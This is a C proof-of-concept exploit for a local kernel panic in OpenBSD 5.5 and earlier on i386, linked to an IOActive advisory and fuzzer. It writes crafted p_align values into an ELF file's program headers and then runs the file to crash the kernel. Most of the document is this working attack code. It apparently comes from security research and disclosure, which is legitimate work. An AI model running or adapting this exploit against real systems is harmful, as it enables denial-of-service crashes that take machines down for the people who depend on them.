/*
 * tenochtitlan.c
 *
 * OpenBSD <= 5.5 Local Kernel Panic
 * by Alejandro Hernandez (@nitr0usmx)
 *
 * Advisory and technical details:
 * http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
 *
 * Fix: http://www.openbsd.org/errata55.html#013_kernexec
 *
 * This PoC works only for i386.
 * 
 * Bug found with Melkor (ELF file format fuzzer)
 * https://github.com/IOActive/Melkor_ELF_Fuzzer
 *
 * Mexico / Oct 2014
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>

#ifndef  __OpenBSD__
  #error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif

#ifndef __i386__
  #error "Not an i386 system !!!1111";
#endif

// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god, 
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] = 
"                  _____\n"
"                 _|[]_|_\n"
"               _/_/=|_\\_\\_\n"
"             _/_ /==| _\\ _\\_\n"
"           _/__ /===|_ _\\ __\\_\n"
"         _/_ _ /====| ___\\  __\\_\n"
"       _/ __ _/=====|_ ___\\ ___ \\_\n"
"     _/ ___ _/======| ____ \\_  __ \\_\n";

struct {
  unsigned int idx;
  Elf32_Word   p_align;
} targets[] = {
  { 6, 0xb16b00b5 }, // (  *  )(  *  )
  { 6, 0xdeadface },
  { 4, 0x00001001 },
  { 0, 0x00000004 }
};

int main(int argc, char **argv)
{
  Elf32_Ehdr *hdr;
  Elf32_Phdr *pht; // Program Header Table
  struct stat statinfo;
  char *elfptr;
  int fd, r;

  if(argc < 2){
    fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
    exit(-1);
  }

  if((fd = open(argv[1], O_RDWR)) == -1){
    perror("open");
    exit(-1);
  }

  if(fstat(fd, &statinfo) == -1){
    perror("stat");
    close(fd);
    exit(-1);
  }

  if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
    perror("mmap");
    close(fd);
    exit(-1);
  }

  hdr = (Elf32_Ehdr *) (elfptr);
  pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);

  printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
  printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);

  srand(time(NULL));
  r = rand();

  if(r % 3 == 0){
#ifdef OpenBSD5_5
    pht[targets[0].idx].p_align = targets[0].p_align;
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
    pht[targets[1].idx].p_align = targets[1].p_align;
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
  } else if(r % 3 == 1){
    pht[targets[2].idx].p_align = targets[2].p_align;
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
  } else {
    int p;

    for(p = 0; p < hdr->e_phnum; p++, pht++)
      if(pht->p_type == PT_LOAD){
        pht->p_align = targets[3].p_align;
        printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
      }
  }

  // Synchronize the ELF in memory and the file system
  if(msync(elfptr, 0, MS_ASYNC) == -1){
    perror("msync");
    close(fd);
    exit(-1);
  }

  if(munmap(elfptr, statinfo.st_size) == -1){
    perror("munmap");
    close(fd);
    exit(-1);
  }

  close(fd);

  printf("%s", pyramid);

  sleep(1);
  system(argv[1]);

  // Should never reach this point, however sometimes the OS didn't crash with
  // system() until the 2nd execution. Same behavior with execl and execv too.
  printf("... try to execute %s manually.\n", argv[1]);

  return -1;
}